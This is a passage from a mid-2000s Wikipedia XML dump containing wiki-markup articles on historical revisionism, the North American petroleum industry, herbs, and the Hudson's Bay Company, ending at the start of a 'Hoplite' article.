Those historians who work within the existing establishment and who have a body of existing work from which they claim authority, often have the most to gain by maintaining the ''status quo''. This can be called an accepted [[paradigm]], which in some circles or societies takes the form of a denunciatory stance towards revisionism of any kind.  Of course, this presumes that the historian in question has not built said reputation specifically upon being revisionist.

Revisionist historians often contest the mainstream or traditional view of historical events, they raise views at odds with traditionalists, which must be freshly judged. Often historians who are in the minority, such as feminist historians, or ethnic minority historians, or those who work outside of mainstream academia  in smaller and less known universities, or the youngest scholars, who have the most to gain and the least to lose, by shaking up the establishment. In the friction between the mainstream of accepted beliefs and the new perspectives of historical revisionism, received historical ideas are either changed, or solidified and clarified. If over a period of time the revisionist ideas become the new establishment ''status quo'' a [[paradigm shift]] is said to have occurred.

::&quot;''History is the version of past events that people have decided to agree upon.''&quot; &amp;ndash;[[Q:Napoleon Bonaparte|Napoleon Bonaparte]].

Historians, like all people, are inexorably influenced by the [[zeitgeist]] (the spirit of the times). Developments in other academic areas, and  cultural and political fashions, all help to shape the currently accepted model and outlines of history (the accepted [[historiography|historiographical]] paradigm).  As time passes and these influences change so do most historians views on the explanation of historical events. The old consensus may no longer be considered by most historians to explain how and why certain events in the past occurred, the accepted model is revised to fit in with the current agreed-upon version of events. Some of the influences on historians, which may change over time are:

===Categories===

* '''Language:''' For example as more sources in other languages become available historians may review their theories in light of the new sources. The revision of the meaning of the [[#The &quot;Dark Ages&quot;|Dark Ages]] are an example of this.
* '''Nationalism:'''  For example when reading schoolbook history in Europe, it is possible to read about an event from completely different perspectives. In the [[Battle of Waterloo]] most British, French, Dutch and German schoolbooks slant the battle to emphasise the importance of the contribution of their nations. Sometimes the name of an event is used to convey political or a national perspective. For example the same conflict between two English speaking countries is known by two different names, the &quot;[[American War of Independence]]&quot; and the &quot;[[American Revolutionary War]]&quot;, or the [[Irish War of Independence]] and the [[Anglo-Irish War]]. As perceptions of nationalism change so do those areas of history which are driven by such ideas.
* '''Culture:''' For example as regionalism has become more prominent in the [[UK]] some historians have been suggesting that the [[English Civil War]] is too Anglo-centric and that to understand the war, events which had previously been dismissed as on the periphery should be given greater prominence, to emphasise this, revisionist historians have suggested that the English Civil War becomes just one of a number of interlocking conflicts known as [[Wars of the Three Kingdoms]]. 
* '''Ideology:''' For example during the 1940s it became fashionable to see the English Civil War from a Marxist school of thought. In the words of [[Christopher Hill (historian)|Christopher Hill]], &quot;the Civil War was a class war.&quot;  In the post [[World War II]] years the influence of Marxist interpretation waned in British academia and by the 1970s this view came under attack by a new school of revisionists and it has been largely overturned as a major mainstream explanation of the middle 17th century conflict in the [[British Isles]] ([[IONA]]).

==Examples==

These are examples of historical revisionist ideas that have resulted in a fundamental change in perspective on historical concepts.

===The &quot;Dark Ages&quot;===

As non-Latin texts such as [[Welsh language | Welsh]], [[Gaelic languages | Gaelic]] and the [[Norse saga|Sagas]] have been analysed and added to the canon of knowledge about the period and a lot more archaeological evidence has come to light, the period traditionally known as the [[Dark Ages]] has narrowed to the point where many historians no longer believe that such a term is useful.

===&quot;Feudalism&quot;===

The concept of [[feudalism]] has undergone a number of revisions. Recently some revisionist thinking has rejected the term and concept completely [[Feudalism#Revolt_against_the_term_feudalism|saying it is invalid]] and should not be used at all.

===New World &quot;discovery&quot;===

In recounting the [[European colonization of the Americas]], history books of the past paid little attention to the [[indigenous peoples of the Americas]], usually mentioning them only in passing and making no attempt to understand the events from their point of view. This was reflected in the once widespread description of [[Christopher Columbus]] having &quot;discovered&quot; America. The portrayal of these events has since been revised, and much present scholarship examines the impact of European exploration and colonization on indigenous peoples. Some of this historical writing is revisionist in the ideological sense of the word, such as in portrayals of Columbus which compare him to [[Adolf Hitler]], which are arguably [[polemic|polemical]] and [[Presentism (literary and historical analysis)|presentist]]. But even moderate portrayals of Columbus now take into account modern revisionism, and rarely, for example, use the word ''discovery'' without quotation marks.

===Slavery===

During historical periods of slavery, slaves have not been considered equal to their masters, something that has been reflected in the accepted histories of the time. In the study of the [[Reconstruction]] era of the [[American South]], the revisionist interpretation of events has completely replaced the [[Dunning School]] interpretation.

===Agincourt===

The [[Battle of Agincourt]] was for centuries believed to be an engagement in which the English army, though overwhelmingly outnumbered (supposedly 4 to 1) by the [[France|French]] army, pulled off a stunning victory. However, recent research by professor Anne Curry using the original enrollment records, has brought into question this interpretation and although her research is not finished{{ref|2020}}, she has published her initial findings{{ref|curry}}, that the French only outnumbered the English and Welsh 12,000 to 8,000. The numbers may have been exaggerated for patriotic reasons by the English.{{ref|times}}

===Military leadership during the First World War=== 
The military leadership of the [[British Army]] during the [[First World War]] was frequently condemned as poor by historians and politicians for decades after the war ended. Common charges were that the generals commanding the army were blind to the realities of [[trench warfare]], ignorant of the conditions of their men and were unable to learn from their mistakes, thus causing enormous numbers of casualties. However, during the 1960s historians such as [[John Terraine]] began to challenge this interpretation. In recent years as new documents have come forth and the distance of time has allowed for more objective analysis, historians such as [[Gary D. Sheffield]] and [[Richard Holmes]] observe that the military leadership of the British Army on the [[Western Front]] had to cope with many problems that they could not control such as a lack of adequate military [[communication|communications]], furthermore military leadership improved throughout the war culminating in the [[Hundred Days]] advance to victory in [[1918]]. Some historians, even revisionists, still criticise the British [[High Command]] severly, but they are less inclined to portray the war in a simplistic manner with brave troops being led by foolish officers. 

There has been a similar movement regarding the [[French Army]] during the war with contributions by historians such as [[Anthony Clayton]]. Revisionists are far more likely to view commanders such as French General [[Ferdinand Foch]], British General [[Douglas Haig]] and other figures, such as American General [[Pershing]], in a sympathetic light.

==Notes==
&lt;!--wikipedia:footnotes--&gt;
&lt;!-------------------------------------Agincourt----------------------&gt;
#{{note|2020}}Page 288. Matthew Strickland ''The Great Warbow''. Pub Sutton, 2005, ISBN 0750931671
#{{note|curry}}Anne Curry. ''Agincourt: A New History'', Pub Tempus, 2005, ISBN 0752428284 
#{{note|times}} Richard Brooks [http://www.timesonline.co.uk/printFriendly/0,,1-523-1632547,00.html Henry V’s payroll cuts Agincourt myth down to size] [[May 29]], 2005

[[Category:Historiography|Revisionism]]

[[ca:Revisionisme històric]]
[[de:Revisionismus]]
[[es:Revisionismo histórico]]
[[fr:Révisionnisme]]
[[ja:歴史修正主義]]
[[pl:Rewizjonizm]]
[[sv:Historierevisionism]]
[[zh:历史修正主义]]</text>
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  <page>
    <title>History of the petroleum industry in North America</title>
    <id>13294</id>
    <revision>
      <id>32799552</id>
      <timestamp>2005-12-26T21:22:43Z</timestamp>
      <contributor>
        <username>Xaosflux</username>
        <id>502540</id>
      </contributor>
      <comment>/* Titusville, Kerosene */ fix for disambig</comment>
      <text xml:space="preserve">The '''history of the petroleum industry''' in North America began nearly simultaneously in [[Canada]] and the [[United States]]. 

==Petrolia==

North America's [[oil industry]] was born in [[1858]] when [[James Miller Williams]] built the first successful oil well on a deposit of &quot;[[gum bed]]s&quot; located near the present-day towns of [[Oil Springs, Ontario|Oil Springs]] and [[Petrolia, Ontario|Petrolia]], in the southwest corner of [[Ontario]], [[Canada]]. The beds had first been recognized by the Tripp brothers in [[1851]], but they failed to develop the find and sold the rights to Williams. Williams pumped 1,500 m&amp;sup3; of [[crude oil]] from his wells in his first two years. He then launched the first integrated oil company -- exploring, drilling and refining the oil into finished products -- with the founding of &quot;[[The Canada Oil Company]]&quot; in [[1860]]. 

For the next 50 years, these fields supplied 90% of the oil consumed in Canada and Petrolia became home to the world's most advanced oil development and refining technologies. The boom times were over by the turn of the century, but commercial wells continue pumping to this day. In all, the region has produced an estimated 10 billion [[barrel (unit)|barrels]] (1.59&amp;nbsp;km&amp;sup3;). When the Petrolia oil rush began to slow, the drillers there who had learned how to get oil from the ground efficiently found their skills and methods in high demand. Oil men who learned their trade in Petrolia dispersed around the world, to as many as 87 countries, to open today's great oil fields in the [[Middle East]], [[Gobi Desert]], [[South America]], and elsewhere.

==Titusville, Kerosene==

Native Americans had known of the oil in western Pennsylvania, and had apparently made some use of it for many years before the mid 19th century. However, interest grew substantially in the mid 1850s as geologists studied and reported on the market potential in the context of the emerging industrial age.

There, on [[August 28]], [[1859]] [[George Bissell (industrialist)|George Bissell]] and [[Edwin L. Drake]] made the first successful use of a drilling rig at [[Titusville, Pennsylvania]]. This single well soon exceeded the entire cumulative oil output of [[Europe]] since the [[1650s]]. The principal product of the oil was [[kerosene]], which quickly replaced whale oil for illuminating purposes in the United States. 

Originally dealing in whale oil which was widely used for illumination,  [[Charles Pratt]] (1830-1891) of Massachusetts was an early pioneer of the natural [[oil industry]] in the United States. He was founder of [[Astral Oil Works]] in the Greenpoint section of [[Brooklyn, New York]]. Pratt's product later gave rise to the slogan, &quot;''The holy lamps of Tibet are primed with Astral Oil''.&quot; He joined with his protégé [[Henry H. Rogers]] to form [[Charles Pratt and Company]] in [[1867]]. Both companies became part of [[John D. Rockefeller]]'s [[Standard Oil]] in [[1874]].

==Spindletop==

Capt. [[Anthony F. Lucas]], an experienced mining engineer drilled the first major oil well at [[Spindletop]].  On the morning of [[January 10]], [[1901]], the little hill south of [[Beaumont, Texas]] began to tremble and mud bubbled up over the rotary table. 

A low rumbling sound came from underground, and then, with a force that shot 6 tons of 4 inch (100 mm) pipe out over the top of the derrick, knocking off the [[crown block]], the Lucas Gusher roared in and Spindletop, history's most famous oil field, was born. 

It is estimated that this initial discovery was over 100,000 barrels (16,000 m&amp;sup3;) of oil per day. That one well was producing more oil than all the other wells in the United States combined.

==See also==

*[[Ignacy Lukasiewicz|Ignacy &amp;#321;ukasiewicz]]
*[[Enrico Mattei]]
*[[Early uses of petroleum|Early uses of petroleum]]
*[[John D. Rockefeller]]
*[[Charles Pratt]]
*[[Henry H. Rogers]]
*[[South Improvement Company]]
*[[Wamsutta Oil Refinery]]
*[[Standard Oil]]
*[[Ida M. Tarbell]]
*[[Seven Sisters (oil companies)|The Seven Sisters]]
*[[Oil industry]]

== Reference Links ==

*[http://www.tsha.utexas.edu/handbook/online/articles/OO/doogz.html ''The Handbook of Texas Online:'' Oil and Gas Industry]

[[Category:History of the petroleum industry]]
[[Category:Peak oil]]</text>
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  <page>
    <title>Herb</title>
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      <contributor>
        <username>Michael Hardy</username>
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      <minor />
      <text xml:space="preserve">{{dablink|For other senses of this word, see [[herb (disambiguation)]].}}
{{cuisine}}
A '''herb''' (pronounced &quot;hurb&quot; in [[Commonwealth English]] and &quot;urb&quot; in [[American English]]) is a [[plant]] grown for culinary, medicinal, or in some cases even spiritual value.  The green, leafy part of the plant is typically used.  General usage differs between culinary herbs and medicinal herbs.  A medicinal herb may be a shrub or other woody plant, whereas a culinary herb is a non-woody plant.  By contrast, [[spice]]s are the [[seed]]s, [[berry|berries]], [[bark]], [[root]], or other parts of the plant, even leaves in some cases; although any of these, as well as any edible fruits or vegetables, may be considered &quot;herbs&quot; in medicinal or spiritual use.  Culinary herbs are distinguished from [[vegetable]]s in that they are used in small amounts and provide [[flavor]] (are spices) rather than substance to [[food]].

==Botanical definitions==
In [[botany]], a '''herb''' is a plant that does not produce a [[wood]]y stem, and in temperate climates usually dies, either completely (annual herb) or back to the roots (perennial herb), at the end of the growing season. Examples include bulbs, [[Peony|Peonies]], [[Hosta]], and [[Poaceae|grasses]]. 

The term '''''herbaceous''''' means either having the characteristic of a herb or being leaf-like in color and texture. A related term from American English is [[forb]], which means a non-woody plant that is '''not''' a grass and is not grass-like.  This means that the term forb excludes sedges ([[Cyperaceae]]) and rushes ([[Juncaceae]]) along with true grasses ([[Poaceae]]). '''''Non-herbaceous''''' plants are [[woody plant]]s which have stems above ground that remain alive during winter and grow shoots the next year, such as [[trees]], [[shrubs]], and woody [[vines]].

== See also ==
* [[Apothecary]]
* [[Perennial plant|Herbaceous perennials]]
* [[Herbalism]]
* [[Herbology]]
* [[List of herbs and spices]]
* [[Remedy]]
* [[Herb farm]]

== External links ==
* [http://herbsociety.org/ The Herb Society of America]

{{cookbook}}
{{wikiquote}}

[[Category:Plant morphology]]
[[Category:Herbs]]

[[da:Krydderurt]]
[[de:Kraut]]
[[es:Hierba]]
[[fr:Herbe]]
[[ko:허브 (식물)]]
[[nl:Kruid (keuken)]]
[[nds:Kruut]]
[[ja:ハーブ]]
[[no:Urt]]
[[nn:Urt]]
[[pl:Zioła]]
[[pt:Erva]]</text>
    </revision>
  </page>
  <page>
    <title>Hudson's Bay Company</title>
    <id>13297</id>
    <revision>
      <id>41822634</id>
      <timestamp>2006-03-01T23:44:55Z</timestamp>
      <contributor>
        <username>Akamad</username>
        <id>292168</id>
      </contributor>
      <comment>Revert to revision 41782101 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Hudson's Bay Company |
  company_logo   = [[Image:Hudson's_Bay_Company_(coat_of_arms).png]]|
  company_type   = [[Public company|Public]] |
  company_slogan = We are Canada's merchants |
  foundation     = [[London, England]] [[May 2]], [[1670]]|
  location       = [[Toronto, Ontario]]|
  key_people     = [[L. Yves Fortier]], Governor&lt;br /&gt;[[George Heller]], President &amp; CEO|
industry = [[Retailer|Retail (Department &amp; Discount)]]|
  num_employees  = 70,000|
  products       = [[The Bay|The Bay]]&lt;br /&gt;[[Zellers|Zellers]]&lt;br /&gt;[[Home Outfitters]]&lt;br /&gt;[[Designer Depot]]|
revenue = $7.0 billion [[Canadian dollar|CDN]] ([[image:red down.png]]$59.7 million [[Fiscal year|FY]] [[2005]])|
  homepage       = [http://www.hbc.com/hbc/ www.hbc.com/hbc]
}}
{|align=right
|-
|}

The '''Hudson's Bay Company''' ('''HBC'''. {{TSX|HBC}}) is the oldest [[corporation]] in [[Canada]] (and the second oldest in [[North America]]) and is one of the oldest in the world still in existence. Its initials have often been satirically interpreted as &quot;Here Before Christ&quot;.  From its longtime headquarters at [[York Factory]] on [[Hudson Bay]] it controlled the [[fur trade]] throughout much of [[United Kingdom|British]]-controlled [[North America]] for several centuries, undertaking early exploration and functioning as the ''de facto'' government in many areas of the continent prior to the arrival of large-scale settlement. Its traders and trappers forged early relationships with many groups of [[First Nations]] and its network of trading posts formed the nucleus for later official authority in many areas of western Canada and the [[United States]]. In the late 19th century, its vast territory became the largest component in the newly formed [[Dominion]] of Canada, in which the company was the largest private landowner. With the decline of the fur trade, the company evolved into mercantile business selling vital goods to settlers in the Canadian West. Today the company is best known for its [[department store]]s throughout Canada. 

On January 26, 2006, HBC's board unanimously agreed to a bid of $15.25 CDN/share from [[Jerry Zucker (businessman)|Jerry Zucker]], whose original bid was $14.75 CDN/share, ending a prolonged fight between HBC and Zucker, a [[South Carolina]] billionaire financer and longtime HBC minority shareholder.  

==History==

===Early years===
In the [[17th century]] the [[France|French]] had a [[monopoly]] on the Canadian [[fur trade]]. However, two French traders, [[Pierre-Esprit Radisson]] and [[Médard des Groseilliers]], learned from the [[Cree]] that the best fur country was north and west of [[Lake Superior]] and that there was a &quot;frozen sea&quot; still further north; correctly guessing that this was Hudson Bay, they sought French backing for a plan to set up a trading post on the Bay, thus reducing the cost of moving furs overland.  However, the recently appointed French Secretary of State, [[Jean-Baptiste Colbert]], was trying to promote farming in the colony, and was opposed to exploration and trapping. 

Radisson and des Groseilliers then approached a group of businessmen in [[Boston, Massachusetts]] to help finance their explorations.  The Bostonians agreed on the plan's merits, and brought the two to England to elicit financing.  In [[1668]], the English commissioned two ships, the ''[[Nonsuch]]'' and the ''Eaglet'' to explore possible trade into Hudson Bay. The ''Nonsuch'' was commanded by Captain [[Zachariah Gillam]] and accompanied by Groseilliers, while the ''Eaglet'' was commanded by Captain [[William Stannard]] and accompanied by Radisson.  On June 5, 1668, both ships left port at [[Deptford]], [[England]], but the Eaglet was forced to turn back off the coast of [[Ireland]].  After a successful trading expedition over the winter of [[1668]]&amp;ndash;[[1669]], the ''Nonsuch'' returned to England.

[[Image:Wpdms ruperts land.jpg|right|frame|Rupert's Land, once controlled by the Hudson's Bay Company]]

'''The Governor and Company of Adventurers of England trading into Hudson's Bay''' was incorporated on [[May 2]], [[1670]], with a [[Royal Charter]] from King [[Charles II of England|Charles II]]. The charter granted the company a monopoly over the [[Indian Trade]], especially the [[fur]] trade, in the region watered by all rivers and streams flowing into Hudson Bay in northern Canada, an area known as [[Rupert's Land]] after the first director of the Company, [[Prince Rupert of the Rhine]]. This region constitutes 3.9 million km² (1.5 million square miles) in the [[watershed]] of Hudson Bay, comprising over one-third the area of modern-day Canada and stretching into the north central [[United States]], but the specific boundaries were unknown at the time.

The company founded its first headquarters at Fort Nelson at the mouth of the [[Nelson River]] in present-day northeastern [[Manitoba]]. The location afforded convenient access to the fort from the vast interior waterway systems of the [[Saskatchewan River|Saskatchewan]] and [[Red River of the North|Red]] rivers. Other posts were quickly established around the southern edge of Hudson Bay in Manitoba and present-day [[Ontario]] and [[Quebec]]. Called &quot;factories&quot; (because the &quot;factor&quot;, i.e. a person acting as a [[mercantile agent]], did business from there), these posts operated in the manner of the [[Netherlands|Dutch]] fur trading operations in [[New Netherland]]. 

During the spring and summer First Nations traders, who did the vast majority of the actual trapping, travelled by [[canoe]] and were received at the fort to sell their pelts. In exchange they typically received metal tools and hunting gear, often imported by the company from [[Germany]], the centre of inexpensive manufacturing in that era. Alcohol became another payment mechanism. Native addiction to alcohol became another inducement to fur trading, with their lack of European cultural history of being innured to it and which may be related, as some claim, to a lack of a form of biological resistance to extreme drunkneness that could be exploited.

The early coastal factory model contrasted with the system of the French, who established an extensive system of inland posts and sent traders to live among the tribes of the region. The conservative nature of the English company's more centralized factory system frustrated the company's founders, Radisson and Des Groseilliers, who urged bolder explorations of the continental interior. In [[1674]] they switched their allegiance back to France and in [[1682]] they founded [[La Compagnie du Nord]] to directly compete with the company. After war broke out in Europe between France and England in the [[1680s]], the two nations regularly sent expeditions to raid and capture each other's fur trading posts. In March [[1686]], the French sent a raiding party under [[Chevalier des Troyes]] over 1300 km (800 miles) to capture the company's posts along [[James Bay]]. The French appointed [[Pierre Le Moyne d'Iberville]], who had shown extreme heroism during the raids, as commander of the company's captured posts. In [[1697]], d'Iberville commanded a French naval raid on the company's headquarters at York Factory. On the way to the fort, he defeated three ships of the Royal Navy in the [[Battle of the Bay (1697)|Battle of the Bay]], the largest naval battle in the history of the North American Arctic. D'Iberville's depleted French force captured York Factory by a ruse in which laid siege to fort while pretending to be a much larger army. York Factory changed hands several times in the next decade. It was finally ceded permanently to what was by then the [[Kingdom of Great Britain]] (following the union of Scotland and England in 1707) in the [[1713]] [[Treaty of Utrecht (1713)|Treaty of Utrecht]].  After the treaty, the company rebuilt York Factory as a brick [[star fort]] at the mouth of the nearby [[Hayes River]], its present location.

In its trade with native peoples, the company adopted the widespread use of issuing [[wool]] blankets, called [[Hudson's Bay point blanket]]s, in exchange for the beaver pelts trapped by native hunters.

===19th century===
[[Image:Hbc post Lake Winnipeg.jpg|thumb|200px|left|A Hudson's Bay Company post on [[Lake Winnipeg]], circa 1884]]
In [[1821]], the [[North West Company]] of [[Montreal|Montréal]] and the Hudson's Bay Company merged, with a combined territory that was extended by a licence to the [[North-Western Territory]], which reached to the [[Arctic Ocean]] on the north and the [[Pacific Ocean]] on the west.  Although the HBC maintained a monopoly on the fur trade during the early-mid [[19th century]], there was competition from James Sinclair and [[Andrew McDermot]] (Dermott), independent traders in the [[Red River Colony]].

One major event that lead to the demise of the HBC's monopoly in Rupert's Land was the [[Guillaume Sayer]] Trial in [[1849]].  Sayer, a [[Métis people (Canada)|Métis]] trapper and trader, was accused of the illegal trading of furs and brought to trial by the Court of Assiniboia, which was heavily stacked with either HBC officials or HBC supporters. During the trial, a crowd of armed Métis men led by [[Louis Riel Sr.]] gathered outside the courtroom, ready to support their Métis brother peacefully or by force if necessary.  Although found guilty of illegal trade by Judge Adam Thom, no fine or punishment was levied - many reports state it was due to the intimidating crowd gathered outside the courthouse.  With the cry, &quot;Le commerce est libre! Le commerce est libre!&quot; (&quot;Free Trade! Free Trade!&quot;), the HBC could no longer use the courts to enforce their monopoly on the settlers of Red River.  In [[1870]] the trade monopoly was abolished and trade in the region was opened to any [[entrepreneur]]. The company relinquished its ownership of Rupert's Land under the [[Rupert's Land Act]] of [[1868]] enacted by the Parliament of the newly formed Dominion of Canada.

Throughout the [[1820s]] and [[1830s]] the company controlled nearly all trading operations in the [[Oregon Country]], based out of the company headquarters at [[Fort Vancouver]] on the [[Columbia River]]. Although authority over the region was nominally shared by the U.S. and Britain through the [[Anglo-American Convention of 1818]], company policy, enforced via Chief [[John McLoughlin]] of the company's Columbia District, was to actively discourage U.S. settlement of the territory. The company's effective monopoly on trade virtually forbade any settlement in the region. In the early [[1840s]] it established an outpost at [[Fort Hall]] in present-day southeastern [[Idaho]] along the route of the [[Oregon Trail]], where the outpost director displayed the abandoned wagons of discouraged settlers to those seeking to move west along the trail. The company's stranglehold on the region was broken by the first successful large wagon train to reach Oregon in [[1843]], led by [[Marcus Whitman]]. In the years that followed, thousands of [[emigrant]]s poured into the [[Willamette Valley]] and in [[1846]] the U.S. acquired full authority of the most settled areas of the Oregon Country south of the [[49th parallel]]. McLoughlin, who had once turned away would-be settlers as company director, now welcomed them from his general store at [[Oregon City, Oregon|Oregon City]] and was later proclaimed the &quot;Father of [[Oregon]]&quot;. The company retains no presence in the [[Pacific Northwest]] of the United States today.

===Modern operations===
[[Image:Logo 2005.gif|thumb|left|75px| The current HBC logo]]

One aspect of the company's operations was the Hudson's Bay Company Stores, trading posts that were established across northern Canada. Today, this is the only part of the company operation remaining, in the form of department stores under the name ''The Bay''. Many Hudson's Bay Company stores were, until quite recently, the only stores in remote towns. More recently, stores in major downtown locations have been transformed into boutiques. 

In 1970, on the 300th birthday of the company, Head Office functions were transferred from London, England to [[Winnipeg]], [[Manitoba]], [[Canada]]. As the company expanded into the east, head office functions were moved to Toronto, Ontario, Canada.

[[image:hudsonsbayco.jpg|right|thumb|300px|The Hudson's Bay Company building in Montreal]]Today there are three main retail divisions: [[The Bay]], [[Zellers]], and [[Home Outfitters]]. There is also one store in the [[Greater Toronto Area]] known as [[Designer Depot]] that opened in [[November 2004]] as part of the new [[Vaughan Mills]] outlet mall. Six additional stores have since opened, in [[Ontario]] and [[Alberta]]. In addition, HBC also owns [[Fields (department store)|Fields]], a smaller discount chain with stores in [[British Columbia]] and [[Alberta]].

''Northern Stores'' are no longer operated by HBC, but by a corporation organized in [[1987]] under the name The North West Company. [[Simpson's]] department stores which were acquired by the Hudson's Bay Company in [[1979]] were converted to ''The Bay'' stores in 1991. In the [[1970s]] and [[1980s]], HBC operated a chain of catalogue stores under the name ''Shop-Rite''. In these stores, little merchandise was displayed openly: customers made their selections from catalogues, and staff would retrieve the merchandise from store-rooms.  This form of retailing, now largely disappeared, was referred to as &quot;catalogue showroom&quot;. 

[[Image:The_Bay.png|right|thumb|150px|''The Bay'' logo]]

The legacy of the HBC has been maintained in part by the detailed record-keeping and archiving of material by the Company.  Prior to 1974, the records of the HBC were kept in the [[London]] office headquarters. The HBC opened an Archives department to researchers in 1931. In 1974, the Hudson's Bay Company Archives were transferred from London to their Canadian headquarters in Winnipeg. In 1991 the archival records of the company were donated to  the [[Manitoba Archives]] in [[Winnipeg, Manitoba|Winnipeg]], [[Manitoba]]. The collection was opened to public access in 1975.

In [[1987]] the HBC sold off its Canadian fur auction business to Hudson's Bay Fur Sales Canada (this company is now known as [[North American Fur Auctions]]).  In [[1991]], [[the Bay]] agreed to stop selling [[fur]] in response to complaints from people opposed to killing animals for this purpose. However, in [[1997]], the Bay reopened its fur salons to meet the demand of consumers desiring to buy fur. [[Animal rights]] groups such as [[Freedom for Animals]] have been campaigning to get the Bay to once again stop selling fur.

In 1994, the HBC donated the Company records to the Province of Manitoba. The appraised value of the records was nearly $60 million. A foundation, funded through the tax savings resulting from the donation, was established to support the operations of the HBCA as a division of the Archives of Manitoba, along with other activities and programs.  There are more than two kilometres of documents as well as hundreds of microfilm reels now stored in a special climate-controlled vault in the Manitoba Archives Building.

In December of 2003, Maple Leaf Heritage Investments, a [[Nova Scotia]]-based company that was created to acquire shares of Hudson's Bay Company, announced that it was considering making an offer to acquire all or some of the common shares of Hudson's Bay Company. Maple Leaf Heritage Investments is a subsidiary of B-Bay Inc., whose CEO and chairman is [[United States|American]] businessman, Jerry Zucker, the head of The InterTech Group Inc., a conglomerate that is the second-largest private firm in the state of [[South Carolina]]. (Note: this is not [[Jerry Zucker]], the Hollywood producer.)

On March 2, 2005, the company was announced as the new clothing outfitter for the Canadian [[Olympic Games|Olympic]] team.  The $100 million deal means that the Bay will provide clothing for the 2006, 2008, 2010, and 2012 games.

The company's stock trades on the [[Toronto Stock Exchange]] under the symbol HBC.

==Corporate governance==
Current members of the [[board of directors]] of the Hudson's Bay Company are: [[David Colceugh]], [[Yves Fortier]], [[David Galloway]], [[Paul Gobeil]], [[Kerry Hawkins]], [[George Heller]], [[Barbara Hislop]], [[James Hume]], [[Donna Kaufman]], [[Peter Kaursland]], [[Thomas A. Knowlton]], and [[Peter Mills]].

===Governors===
*[[Prince Rupert of the Rhine]] ([[1670]]-[[1682]])
*[[James II of England|Prince James, Duke of York]] ([[1683]]-[[1685]])
*[[John Churchill, 1st Duke of Marlborough|John Churchill, Earl of Marlborough]] ([[1685]]-[[1692]])
*Sir [[Stephen Evans]] ([[1692]]-[[1696]])
*Sir [[William Trumbull]] ([[1696]]-[[1700]])
*Sir Stephen Evans ([[1700]]-[[1712]])
*Sir [[Bibye Lake, Sr.]] ([[1712]]-[[1743]])
*[[Benjamin Pitt]] ([[1743]]-[[1746]])
*[[Thomas Knapp]] ([[1746]]-[[1750]])
*Sir [[Atwell Lake]] ([[1750]]-[[1760]])
*Sir William Baker ([[1760]]-[[1770]])
*Sir [[Bibye Lake, Jr.]] ([[1770]]-[[1782]])
*[[Samuel Wegg]] ([[1782]]-[[1799]])
*Sir [[James Winter Lake]] ([[1799]]-[[1807]])
*[[William Mainwaring]] ([[1807]]-[[1812]])
*[[Joseph Berens]] ([[1812]]-[[1822]])
*Sir [[John Henry Pelly]] ([[1822]]-[[1852]])
*[[Andrew Wedderburn Colvile]] ([[1852]]-[[1856]])
*[[John Shepherd]] ([[1856]]-[[1858]])
*[[Henry Hulse Berens]] ([[1858]]-[[1863]])
*Sir [[Edmund Walker Head]] ([[1863]]-[[1868]])
*[[John Wodehouse, 1st Earl of Kimberley]] ([[1868]]-[[1869]])
*Sir [[Stafford Henry Northcote, 1st Earl of Iddesleigh|Stafford Henry Northcote]] ([[1869]]-[[1874]])
*[[George Joachim Goschen]] ([[1874]]-[[1880]])
*[[Eden Colvile]] ([[1880]]-[[1889]])
*[[Donald Alexander Smith, 1st Baron Strathcona and Mount Royal]] ([[1889]]-[[1914]])
*Sir [[Thomas Skinner]] ([[1914]]-[[1915]])
*Sir [[Robert Molesworth Kindersley]] ([[1916]]-[[1925]])
*[[Charles Vincent Sale]] ([[1925]]-[[1931]])
*Sir [[Patrick Ashley Cooper]] ([[1931]]-[[1952]])
*[[William Keswick]] ([[1952]]-[[1965]])
*[[Derick Heathcoat Amory, 1st Viscount Amory]] ([[1965]]-[[1970]])
*[[George T. Richardson]] ([[1970]]-[[1982]])
*[[Donald S. McGiverin]] ([[1982]]-[[1994]])
*[[David E. Mitchell]] ([[1994]]-[[1997]])
*[[L. Yves Fortier]] ([[1997]]-present)

==See also==
*[[HBC Rewards]]
*[[British East India Company]]
*[[Dutch East India Company]]
*[[Dutch West India Company]]
*[[John McLoughlin]]
*[[British colonization of the Americas]]
*[[List of department stores#Canada|List of Canadian department stores]]

==External links==
* [http://www.hbc.com Hudson's Bay Company]
* [http://www.northwest.ca North West Company] organized 1987
* [http://www.gov.mb.ca/chc/archives/hbca/index.html Hudson's Bay Company Archives] held by the Government of Manitoba
* Full text of the ''[http://www.gutenberg.net/etext/6580 Charter and Supplemental Charter of the Hudson's Bay Company]'' from [[Project Gutenberg]]
* [http://www.canadiana.org/hbc/ Exploration, the Fur Trade and Hudson's Bay Company]
* [http://www.pc.gc.ca/lhn-nhs/mb/yorkfactory/edu/visites-tours_e.asp York Factory National Historic Site of Canada]
* [http://www.pc.gc.ca/lhn-nhs/mb/fortgarry/index_e.asp Lower Fort Garry National Historic Site of Canada]
* [http://www.pc.gc.ca/lhn-nhs/mb/prince/index_e.asp Prince of Wales Fort National Historic Site of Canada]
* [http://www.pc.gc.ca/lhn-nhs/bc/langley/index_e.asp Fort Langley National Historic Site of Canada]
* [http://www.pc.gc.ca/lhn-nhs/qc/lachine/index_e.asp Fur Trade at Lachine National Historic Site]
* {{gutenberg author| id=Hudson+Bay+Company | name=Hudson's Bay Company}}

[[Category:Hudson's Bay Company| ]]
[[Category:Department stores|Hudson's Bay Company]]

[[da:Hudson's Bay Company]]
[[de:Hudsonbai-Gesellschaft]]
[[es:Compañía de la Bahía de Hudson]]
[[fr:Compagnie de la Baie d'Hudson]]
[[ja:ハドソン湾会社]]
[[pt:Companhia da Baía de Hudson]]
[[sv:Hudson bay-kompaniet]]</text>
    </revision>
  </page>
  <page>
    <title>Hoplite</title>
    <id>13298</id>
    <revision>
      <id>41275747</id>
      <timestamp>2006-02-26T05:52:28Z</timestamp>
      <contributor>
        <ip>65.13.43.98</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Greek hoplite.png|right|thumb|250px|A hoplite armed with a spear.]]

